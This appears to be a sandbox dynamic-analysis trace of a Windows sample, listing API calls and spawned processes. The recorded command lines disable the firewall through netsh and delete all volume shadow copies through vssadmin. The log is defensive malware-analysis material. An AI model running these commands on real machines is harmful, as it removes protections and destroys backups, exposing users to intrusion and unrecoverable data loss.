	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0250.195] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0250.196] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0250.196] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0250.196] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0250.196] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0250.196] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0250.196] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0250.196] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0250.196] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0250.196] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0250.196] GetProcessHeap () returned 0x1da87280000
	[0250.196] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87286e90) returned 1
	[0250.196] GetProcessHeap () returned 0x1da87280000
	[0250.196] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x12) returned 0x1da87288010
	[0250.196] _get_osfhandle (_FileHandle=1) returned 0x254
	[0250.196] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0250.196] _get_osfhandle (_FileHandle=0) returned 0x244
	[0250.196] SetConsoleMode (hConsoleHandle=0x244, dwMode=0x0) returned 0
	[0250.196] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\netsh.exe", lpCommandLine="netsh  firewall set opmode mode=disable", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x80182ff450*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="netsh  firewall set opmode mode=disable", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x80182ff428 | out: lpCommandLine="netsh  firewall set opmode mode=disable", lpProcessInformation=0x80182ff428*(hProcess=0x94, hThread=0x98, dwProcessId=0xed4, dwThreadId=0xed8)) returned 1
	[0250.201] CloseHandle (hObject=0x98) returned 1
	[0250.201] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0250.201] GetProcessHeap () returned 0x1da87280000
	[0250.201] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da8729cfb0) returned 1
	[0250.201] GetEnvironmentStringsW () returned 0x1da8729cfb0*
	[0250.201] GetProcessHeap () returned 0x1da87280000
	[0250.201] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0xaea) returned 0x1da87298370
	[0250.201] FreeEnvironmentStringsA (penv="=") returned 1
	[0250.201] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0x80182fe928, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x80182fe928, ReturnLength=0x0) returned 0x0
	[0250.201] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0x2119d9000, lpBuffer=0x80182fe960, nSize=0x7a0, lpNumberOfBytesRead=0x80182fe920 | out: lpBuffer=0x80182fe960*, lpNumberOfBytesRead=0x80182fe920*=0x7a0) returned 1
	[0250.201] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0
	[0256.529] GetExitCodeProcess (in: hProcess=0x94, lpExitCode=0x80182ff3a8 | out: lpExitCode=0x80182ff3a8*=0x0) returned 1
	[0256.529] CloseHandle (hObject=0x94) returned 1
	[0256.529] _vsnwprintf (in: _Buffer=0x80182ff578, _BufferCount=0x13, _Format="%08X", _ArgList=0x80182ff3b8 | out: _Buffer="00000000") returned 8
	[0256.529] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0256.529] GetProcessHeap () returned 0x1da87280000
	[0256.529] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87298370) returned 1
	[0256.529] GetEnvironmentStringsW () returned 0x1da8729cfb0*
	[0256.529] GetProcessHeap () returned 0x1da87280000
	[0256.529] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0xaea) returned 0x1da87298370
	[0256.529] FreeEnvironmentStringsA (penv="=") returned 1
	[0256.529] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0256.529] GetProcessHeap () returned 0x1da87280000
	[0256.529] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87298370) returned 1
	[0256.529] GetEnvironmentStringsW () returned 0x1da8729cfb0*
	[0256.529] GetProcessHeap () returned 0x1da87280000
	[0256.529] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0xaea) returned 0x1da87298370
	[0256.529] FreeEnvironmentStringsA (penv="=") returned 1
	[0256.529] GetProcessHeap () returned 0x1da87280000
	[0256.529] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87288010) returned 1
	[0256.529] DeleteProcThreadAttributeList (in: lpAttributeList=0x80182ff530 | out: lpAttributeList=0x80182ff530) 
	[0256.529] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0256.538] ??_V@YAXPEAX@Z () returned 0x1
	[0256.538] _get_osfhandle (_FileHandle=1) returned 0x254
	[0256.538] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0256.538] _get_osfhandle (_FileHandle=1) returned 0x254
	[0256.538] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff68358fc08 | out: lpMode=0x7ff68358fc08) returned 0
	[0256.538] _get_osfhandle (_FileHandle=0) returned 0x244
	[0256.538] GetConsoleMode (in: hConsoleHandle=0x244, lpMode=0x7ff68358fc0c | out: lpMode=0x7ff68358fc0c) returned 0
	[0256.538] GetConsoleOutputCP () returned 0x1b5
	[0256.539] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68358fbb0 | out: lpCPInfo=0x7ff68358fbb0) returned 1
	[0256.539] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0256.611] GetProcessHeap () returned 0x1da87280000
	[0256.611] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da872996f0) returned 1
	[0256.611] GetProcessHeap () returned 0x1da87280000
	[0256.611] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87299520) returned 1
	[0256.611] GetProcessHeap () returned 0x1da87280000
	[0256.611] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87286cd0) returned 1
	[0256.611] GetProcessHeap () returned 0x1da87280000
	[0256.611] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da8729dab0) returned 1
	[0256.611] GetProcessHeap () returned 0x1da87280000
	[0256.611] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87286c60) returned 1
	[0256.611] GetProcessHeap () returned 0x1da87280000
	[0256.611] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87288380) returned 1
	[0256.611] GetProcessHeap () returned 0x1da87280000
	[0256.611] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87286c00) returned 1
	[0256.611] GetProcessHeap () returned 0x1da87280000
	[0256.611] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da872881b0) returned 1
	[0256.611] GetProcessHeap () returned 0x1da87280000
	[0256.611] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87280730) returned 1
	[0256.611] _vsnwprintf (in: _Buffer=0x7ff683597f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x80182ff958 | out: _Buffer="\r\n") returned 2
	[0256.611] _get_osfhandle (_FileHandle=1) returned 0x254
	[0256.611] GetFileType (hFile=0x254) returned 0x3
	[0256.611] _get_osfhandle (_FileHandle=1) returned 0x254
	[0256.611] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0256.612] WriteFile (in: hFile=0x254, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x80182ff928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0x80182ff928*=0x2, lpOverlapped=0x0) returned 1
	[0256.612] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0256.612] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1da874c0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0256.612] _vsnwprintf (in: _Buffer=0x1da874d0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x80182ff968 | out: _Buffer="C:\\WINDOWS\\system32") returned 19
	[0256.612] _vsnwprintf (in: _Buffer=0x1da874d0086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x80182ff968 | out: _Buffer=">") returned 1
	[0256.612] _get_osfhandle (_FileHandle=1) returned 0x254
	[0256.612] GetFileType (hFile=0x254) returned 0x3
	[0256.612] _get_osfhandle (_FileHandle=1) returned 0x254
	[0256.612] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0256.612] WriteFile (in: hFile=0x254, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x80182ff958, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0x80182ff958*=0x14, lpOverlapped=0x0) returned 1
	[0256.612] _get_osfhandle (_FileHandle=0) returned 0x244
	[0256.612] GetFileType (hFile=0x244) returned 0x3
	[0256.612] _get_osfhandle (_FileHandle=0) returned 0x244
	[0256.612] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.613] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0256.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c30, cchWideChar=1 | out: lpWideCharStr="eetsh firewall set opmode mode=disable\nate off\n") returned 1
	[0256.613] _get_osfhandle (_FileHandle=0) returned 0x244
	[0256.613] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.613] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0256.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c32, cchWideChar=1 | out: lpWideCharStr="xtsh firewall set opmode mode=disable\nate off\n") returned 1
	[0256.613] _get_osfhandle (_FileHandle=0) returned 0x244
	[0256.613] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.613] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0256.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c34, cchWideChar=1 | out: lpWideCharStr="ish firewall set opmode mode=disable\nate off\n") returned 1
	[0256.613] _get_osfhandle (_FileHandle=0) returned 0x244
	[0256.613] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.613] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0256.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c36, cchWideChar=1 | out: lpWideCharStr="th firewall set opmode mode=disable\nate off\n") returned 1
	[0256.613] _get_osfhandle (_FileHandle=0) returned 0x244
	[0256.613] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.613] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0256.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c38, cchWideChar=1 | out: lpWideCharStr="\n firewall set opmode mode=disable\nate off\n") returned 1
	[0256.613] _get_osfhandle (_FileHandle=0) returned 0x244
	[0256.613] GetFileType (hFile=0x244) returned 0x3
	[0256.613] _get_osfhandle (_FileHandle=0) returned 0x244
	[0256.613] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.613] _get_osfhandle (_FileHandle=1) returned 0x254
	[0256.613] GetFileType (hFile=0x254) returned 0x3
	[0256.613] _get_osfhandle (_FileHandle=1) returned 0x254
	[0256.613] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="exit\n", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exit\n", lpUsedDefaultChar=0x0) returned 6
	[0256.613] WriteFile (in: hFile=0x254, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x80182ffc58, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0x80182ffc58*=0x5, lpOverlapped=0x0) returned 1
	[0256.613] GetProcessHeap () returned 0x1da87280000
	[0256.613] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x4012) returned 0x1da87288380
	[0256.614] GetProcessHeap () returned 0x1da87280000
	[0256.614] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87288380) returned 1
	[0256.614] _wcsicmp (_String1="exit", _String2=")") returned 60
	[0256.615] _wcsicmp (_String1="FOR", _String2="exit") returned 1
	[0256.615] _wcsicmp (_String1="FOR/?", _String2="exit") returned 1
	[0256.615] _wcsicmp (_String1="IF", _String2="exit") returned 4
	[0256.615] _wcsicmp (_String1="IF/?", _String2="exit") returned 4
	[0256.615] _wcsicmp (_String1="REM", _String2="exit") returned 13
	[0256.615] _wcsicmp (_String1="REM/?", _String2="exit") returned 13
	[0256.615] GetProcessHeap () returned 0x1da87280000
	[0256.615] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0xb0) returned 0x1da87280730
	[0256.615] GetProcessHeap () returned 0x1da87280000
	[0256.615] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x1a) returned 0x1da872881b0
	[0256.615] GetConsoleOutputCP () returned 0x1b5
	[0256.815] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68358fbb0 | out: lpCPInfo=0x7ff68358fbb0) returned 1
	[0256.815] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0256.993] GetConsoleTitleW (in: lpConsoleTitle=0x80182ffaa0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0257.078] malloc (_Size=0xffce) returned 0x1da874e0840
	[0257.078] ??_V@YAXPEAX@Z () returned 0x1da874e0840
	[0257.078] malloc (_Size=0xffce) returned 0x1da874f0820
	[0257.078] ??_V@YAXPEAX@Z () returned 0x1da874f0820
	[0257.078] _wcsicmp (_String1="exit", _String2="DIR") returned 1
	[0257.078] _wcsicmp (_String1="exit", _String2="ERASE") returned 6
	[0257.078] _wcsicmp (_String1="exit", _String2="DEL") returned 1
	[0257.078] _wcsicmp (_String1="exit", _String2="TYPE") returned -15
	[0257.078] _wcsicmp (_String1="exit", _String2="COPY") returned 2
	[0257.078] _wcsicmp (_String1="exit", _String2="CD") returned 2
	[0257.078] _wcsicmp (_String1="exit", _String2="CHDIR") returned 2
	[0257.078] _wcsicmp (_String1="exit", _String2="RENAME") returned -13
	[0257.078] _wcsicmp (_String1="exit", _String2="REN") returned -13
	[0257.078] _wcsicmp (_String1="exit", _String2="ECHO") returned 21
	[0257.078] _wcsicmp (_String1="exit", _String2="SET") returned -14
	[0257.078] _wcsicmp (_String1="exit", _String2="PAUSE") returned -11
	[0257.078] _wcsicmp (_String1="exit", _String2="DATE") returned 1
	[0257.078] _wcsicmp (_String1="exit", _String2="TIME") returned -15
	[0257.078] _wcsicmp (_String1="exit", _String2="PROMPT") returned -11
	[0257.078] _wcsicmp (_String1="exit", _String2="MD") returned -8
	[0257.078] _wcsicmp (_String1="exit", _String2="MKDIR") returned -8
	[0257.078] _wcsicmp (_String1="exit", _String2="RD") returned -13
	[0257.078] _wcsicmp (_String1="exit", _String2="RMDIR") returned -13
	[0257.078] _wcsicmp (_String1="exit", _String2="PATH") returned -11
	[0257.078] _wcsicmp (_String1="exit", _String2="GOTO") returned -2
	[0257.079] _wcsicmp (_String1="exit", _String2="SHIFT") returned -14
	[0257.079] _wcsicmp (_String1="exit", _String2="CLS") returned 2
	[0257.079] _wcsicmp (_String1="exit", _String2="CALL") returned 2
	[0257.079] _wcsicmp (_String1="exit", _String2="VERIFY") returned -17
	[0257.079] _wcsicmp (_String1="exit", _String2="VER") returned -17
	[0257.079] _wcsicmp (_String1="exit", _String2="VOL") returned -17
	[0257.079] _wcsicmp (_String1="exit", _String2="EXIT") returned 0
	[0257.079] ??_V@YAXPEAX@Z () returned 0x1
	[0257.079] GetProcessHeap () returned 0x1da87280000
	[0257.079] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x14) returned 0x1da87288010
	[0257.079] GetProcessHeap () returned 0x1da87280000
	[0257.079] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x1a) returned 0x1da872807f0
	[0257.079] GetProcessHeap () returned 0x1da87280000
	[0257.079] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x21c) returned 0x1da87299520
	[0257.079] GetConsoleTitleW (in: lpConsoleTitle=0x1da87299530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0257.086] GetProcessHeap () returned 0x1da87280000
	[0257.086] RtlReAllocateHeap (Heap=0x1da87280000, Flags=0x0, Ptr=0x1da87299520, Size=0x82) returned 0x1da87299520
	[0257.086] GetProcessHeap () returned 0x1da87280000
	[0257.086] RtlSizeHeap (HeapHandle=0x1da87280000, Flags=0x0, MemoryPointer=0x1da87299520) returned 0x82
	[0257.086] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - exit") returned 1
	[0257.105] GetProcessHeap () returned 0x1da87280000
	[0257.105] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87299520) returned 1
	[0257.105] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0257.111] exit (_Code=0) 

Thread:
	id = 100
	os_tid = 0xdb0


Process:
	id = "16"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0xe2fe000"
	os_pid = "0xd78"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "15"
	os_parent_pid = "0xd70"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a240" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 90
	os_tid = 0xd7c


Thread:
	id = 92
	os_tid = 0xd88


Thread:
	id = 95
	os_tid = 0xd9c


Thread:
	id = 97
	os_tid = 0xda4


Thread:
	id = 99
	os_tid = 0xdac


Process:
	id = "17"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x284cd000"
	os_pid = "0xd80"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "14"
	os_parent_pid = "0xd5c"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a240" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 91
	os_tid = 0xd84


Thread:
	id = 93
	os_tid = 0xd8c


Thread:
	id = 94
	os_tid = 0xd94


Thread:
	id = 96
	os_tid = 0xda0


Thread:
	id = 98
	os_tid = 0xda8


Thread:
	id = 278
	os_tid = 0xf64


Process:
	id = "18"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\system32\\vssadmin.exe"
	page_root = "0x24d6a000"
	os_pid = "0xdb8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "14"
	os_parent_pid = "0xd5c"
	cmd_line = "vssadmin  delete shadows /all /quiet"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a240" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 102
	os_tid = 0xdbc


Thread:
	id = 105
	os_tid = 0xdcc


Thread:
	id = 107
	os_tid = 0xdd4


Thread:
	id = 108
	os_tid = 0xdd8


Thread:
	id = 109
	os_tid = 0xddc


Process:
	id = "19"
	image_name = "netsh.exe"
	filename = "c:\\windows\\system32\\netsh.exe"
	page_root = "0x2a49a000"
	os_pid = "0xdc0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "15"
	os_parent_pid = "0xd70"
	cmd_line = "netsh  advfirewall set currentprofile state off"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a240" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 103
	os_tid = 0xdc4

	[0215.459] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7b4590000
	[0215.459] __set_app_type (_Type=0x1) 
	[0215.459] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7b459a1c0) returned 0x0
	[0215.459] __wgetmainargs (in: _Argc=0x7ff7b45a7668, _Argv=0x7ff7b45a7670, _Env=0x7ff7b45a7678, _DoWildCard=0, _StartInfo=0x7ff7b45a7684 | out: _Argc=0x7ff7b45a7668, _Argv=0x7ff7b45a7670, _Env=0x7ff7b45a7678) returned 0
